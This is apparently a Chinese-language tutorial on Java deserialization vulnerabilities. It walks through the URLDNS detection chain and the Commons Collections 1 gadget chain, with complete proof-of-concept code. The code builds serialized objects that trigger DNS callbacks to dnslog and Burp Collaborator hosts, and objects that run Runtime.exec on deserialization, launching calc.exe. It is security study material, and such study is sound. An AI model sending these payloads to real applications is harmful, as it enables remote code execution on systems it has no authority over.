反序列化是什么
序列化(Serialization) :
序列化是将对象的状态信息转换为可以存储或传输的形式的过程。在 Java 中,这通常意味着将对象转换为字节序列,以便可以将其写入文件、数据库或通过网络发送到另一个系统。
Java 通过实现 java.io.Serializable 接口来标识一个类是可序列化的。实现 Serializable 接口的类可以被 ObjectOutputStream 类序列化。
序列化过程中,对象的类、属性和属性值都会被保存。如果对象图中包含其他对象的引用,这些对象也会被递归地序列化。
序列化的结果是一个字节流,通常保存在 ByteArrayOutputStream 或 FileOutputStream 中。
反序列化(Deserialization) :
反序列化是序列化过程的逆过程。它涉及将保存的字节序列恢复为原来的对象状态。
在 Java 中,反序列化通常是通过 ObjectInputStream 类来完成的。这个类可以读取先前序列化的对象,并重建原始对象的状态。
反序列化时,需要确保序列化对象的类定义在当前运行环境中是可用的。如果类定义不可用,或者类的结构在序列化后发生了不兼容的变化,反序列化将失败,并可能抛出异常。
反序列化后,对象将恢复其原始状态,包括所有属性值和关联的对象引用。
说人话
Java 序列化 通常涉及使用 ObjectOutputStream 类将对象转换为字节流,这些字节流可以被存储或传输。
Java 反序列化 通常涉及使用 ObjectInputStream 类将存储的字节流恢复为原始对象。
1、URLDNS链学习
简介:什么是URLDNS? URLDNS 反序列化链是一种在 Java 应用程序中用于检测反序列化漏洞的技术。这条链的主要作用是触发一个 DNS 请求,以此来验证目标应用程序是否存在反序列化漏洞。在实战环境中我们通常用URLDNS来判断是否存在反序列化漏洞,因为有些环境只有DNS能出网。
URLDNS链分析 ysoserial - URLDNS链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class URLDNS implements ObjectPayload <Object > { public Object getObject (final String url) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null , url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode" , -1 ); return ht; } public static void main (final String[] args) throws Exception { PayloadRunner.run(URLDNS.class , args ) ; } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } protected synchronized InetAddress getHostAddress (URL u) { return null ; } } }
HashMap这个类, 可以看到就是创建hashMap过程中,通过PUT数据导致的dns请求,根据注释我们可以知道,通过计算url的hash导致的dns请求。 我们跟hashMap类的put方法看看。发现了计算了hash。
继续跟进,如下图,发现计算了hashcode,而我们传入的key为 java.net.URL ,所以继续跟进查看url类中的hashCode方法。
transient 关键字,修饰Java序列化对象时,不需要序列化的属性。继续跟进URLStreamHandler类的hashCode方法,图中可以看到hashCode值默认为-1,当值不等于-1,会执行handler.hashcode(this)。
发现有 getHostAddress 方法,继续跟进
继续跟进这个函数会发现,InetAddress.getByName(host) 的作用是根据主机名,获取其IP地址,在网络上其实就是一次 DNS查询。
Gadget 1 2 3 4 5 HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
代码 1 2 3 4 5 6 7 8 import java.net.URL;public class Main { public static void main (String[] args) throws Exception { URL u = new URL("http://myc765.dnslog.cn" ); u.hashCode(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { String url ="test" ; HashMap<URL, String> ht = new HashMap<URL, String>(); URL u = new URL("https://hfjgk3.dnslog.cn" ); ht.put(u, url); Class<?> clazz = Class.forName("java.net.URL" ); Field m = clazz.getDeclaredField("hashCode" ); m.setAccessible(true ); m.set(u,0xfffff ); ht.put(u, "test" ); m.set(u,-1 ); return ; } }
测试URLDNS链
代码 序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class urlDndLoad { public static void main (String[] args) throws Exception { String url ="test" ; HashMap<URL, String> ht = new HashMap<URL, String>(); URL u = new URL("https://v51n4ni6idg5qmakyyofp9zfq6w2kr.burpcollaborator.net" ); Class<?> clazz = Class.forName("java.net.URL" ); Field m = clazz.getDeclaredField("hashCode" ); m.setAccessible(true ); m.set(u,2 ); ht.put(u, "test" ); m.set(u,-1 ); Serializable(ht); } public static void Serializable (Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser" )); objectOutputStream.writeObject(obj); objectOutputStream.close(); } }
反序列化调用
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.FileInputStream;import java.io.ObjectInputStream;public class serTestLoad { public static void main (String[] args) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream((new FileInputStream("ser.ser" ))); objectInputStream.readObject(); objectInputStream.close(); } }
2、CommonsCollections1链
什么是CommonsCollections链
构造恶意对象 :攻击者创建一个包含恶意代码的集合对象,比如一个 Map。
利用 Transformer :通过 Commons Collections 中的 Transformer 类,攻击者可以定义一个转换逻辑,这个逻辑在反序列化时执行。
利用 AnnotationInvocationHandler :AnnotationInvocationHandler 是 Java 中的一个私有类,它可以被用来调用任何方法。通过构造特定的 Transformer,攻击者可以触发 AnnotationInvocationHandler 的构造函数。
执行 Runtime.exec :通过 AnnotationInvocationHandler,攻击者可以调用 Runtime 类的 exec 方法,从而执行任意命令。
反序列化 :当应用程序反序列化了攻击者构造的恶意对象时,会触发上述的转换逻辑,最终导致任意代码执行。
基础知识学习 学习这条链需要知道几个类和接口:Transformer
org.apache.commons.collections.Transformer 接口定义了一个单一的方法 transform(),它接受一个对象并返回一个新对象。在 Commons Collections 1 链中,Transformer 用于转换对象,是构建复杂操作链的基础。
transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回,在Commons-Collection中,程序提供了多个Transformer的实现类,用来实现不同的TransformedMap类中key、value进行修改的功能。
1 2 3 public interface Transformer { public Object transform (Object input) ; }
TransformedMap
TransformedMap 用于对Java标准数据结构Map做装饰器,它将一个 Map 包装起来,decorate()方法对map中的键值对进行修改,第一个参数为要修饰的Map类,第二个参数和第三个参数作为一个实现Transformer接口的类,用来转换修饰的Map的键、值(为null时不进行转换)。在利用链中,TransformedMap 可以用于在反序列化时触发特定的转换逻辑。
LazyMap
LazyMap 是一个 Map 的惰性实现,它使用 Transformer 来惰性地计算缺失的键的值。在利用链中,LazyMap 可以用于延迟计算,直到实际需要某个键的值时才进行。
ConstantTransformer
ConstantTransformer 是 Transformer 接口的一个实现,它总是返回一个指定的常量值,不管输入是什么。在利用链中,它可以用于提供一致的返回值,从而控制执行流程。
InvokerTransformer
InvokerTransformer 是 Transformer 接口的一个实现,它允许调用对象的某个方法。在利用链中,它可以用来调用类的方法,如 Runtime.exec(),来执行任意命令、String.toUpperCase()来反转字符。
1 2 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"c:\\windows\\system32\\calc.exe"}); invokerTransformer.transform(Runtime.getRuntime());
**ChainedTransformer **
ChainedTransformer 是 Apache Commons Collections 库中的一个类,它允许您将多个 Transformer 对象链接或组合在一起,以便对一个对象进行一系列转换。当您有一个对象并且想要对它应用多个转换逻辑时,ChainedTransformer 非常有用。
在 Commons Collections 反序列化漏洞利用链中,ChainedTransformer 可以用来串联多个转换操作,这在构造复杂的利用链时特别有用。通过 ChainedTransformer,攻击者可以创建一个复杂的 gadgets 链,每个 gadgets 负责执行利用链中的一个步骤。
sun.reflect.annotation.AnnotationInvocationHandler:
Java 内部类,用于处理注解的方法调用。在代码中,它被用来创建一个自定义的 InvocationHandler,该处理程序在反序列化时触发 Transformer 链。
下图来源自P神文章:
学习demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.functors.InvokerTransformer;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Map<String, String> baseMap = new HashMap<String, String>(); baseMap.put("k1" , "value1" ); Transformer toUpperCasevalueTransformer = new InvokerTransformer( "toUpperCase" , new Class[] {}, new Object[] {} ); Map<String, String> transformedMap = TransformedMap.decorate( baseMap, null , toUpperCasevalueTransformer ); String originalValue = "value2" ; Object transformedValue = toUpperCasevalueTransformer.transform(originalValue); transformedMap.put("key2" , (String) transformedValue); System.out.println("原始 Map: " + baseMap); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"c:\\windows\\system32\\calc.exe" }),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class , Map .class ) ; construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class , outerMap ) ; ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
Gadget
构造恶意对象 :攻击者创建一个包含恶意代码的集合对象,比如一个 Map。
利用 Transformer :通过 Commons Collections 中的 Transformer 类,攻击者可以定义一个转换逻辑,这个逻辑在反序列化时执行。
利用 AnnotationInvocationHandler :AnnotationInvocationHandler 是 Java 中的一个私有类,它可以被用来调用任何方法。通过构造特定的 Transformer,攻击者可以触发 AnnotationInvocationHandler 的构造函数。
执行 Runtime.exec :通过 AnnotationInvocationHandler,攻击者可以调用 Runtime 类的 exec 方法,从而执行任意命令。
核心逻辑就是memberValues.entrySet()和memberValue.setValue()。 memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap⾥注册的 Transform,进而执行我们为其精心设计的任意代码。
1 2 3 4 5 6 AnnotationInvocationHandler.readObject() -> Map .entrySet()/setValue() -> TransformedMap.setValue() -> ChainedTransformer.transform() -> ConstantTransformer.transform() -> InvokerTransformer.transform()
LazyMap-poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"c:\\windows\\system32\\calc.exe" }),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class , Map .class ) ; construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class , outerMap ) ; Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class , proxyMap ) ; ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
创建 Transformer 链 :
代码首先定义了一系列的 Transformer 对象,这些对象可以按顺序执行特定的操作。它们被用来获取 Runtime 类的实例,并调用它的 exec 方法来执行一个命令(在这个例子中是打开计算器程序)。
构建 LazyMap :
然后,代码使用 LazyMap 来装饰一个 HashMap。LazyMap 是一种特殊的 Map,它允许你定义一个转换器(在这里是上面创建的 Transformer 链),这个转换器会在你访问 Map 中的值时被调用。
创建动态代理 :
接下来,代码使用 Java 的动态代理功能来创建 Map 的一个代理。这个代理背后的实际逻辑是由 AnnotationInvocationHandler 来处理的,它将 LazyMap 作为参数。
序列化和反序列化 :
代码将动态代理序列化到一个字节流中,然后再次反序列化。这个过程触发了 AnnotationInvocationHandler 的构造函数,它需要一个 Map 作为参数。由于 LazyMap 被用作这个 Map,因此在反序列化时,它会被激活。
触发漏洞 :
当 LazyMap 被激活时,它会尝试应用定义的 Transformer 链。由于这个链最终调用了 Runtime.exec 方法,这导致了任意代码的执行。
Gadget 1 2 3 4 5 6 7 AnnotationInvocationHandler.readObject() -> Map (Proxy ).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> ChainedTransformer.transform() -> ConstantTransformer.transform() -> InvokerTransformer.transform()
参考 URLDNS链分析 - N0r4h - 博客园 Java反序列化初探+URLDNS链 - 1vxyz - 博客园 URLDNS链&CommonsCollections链详细分析-安全客 - 安全资讯平台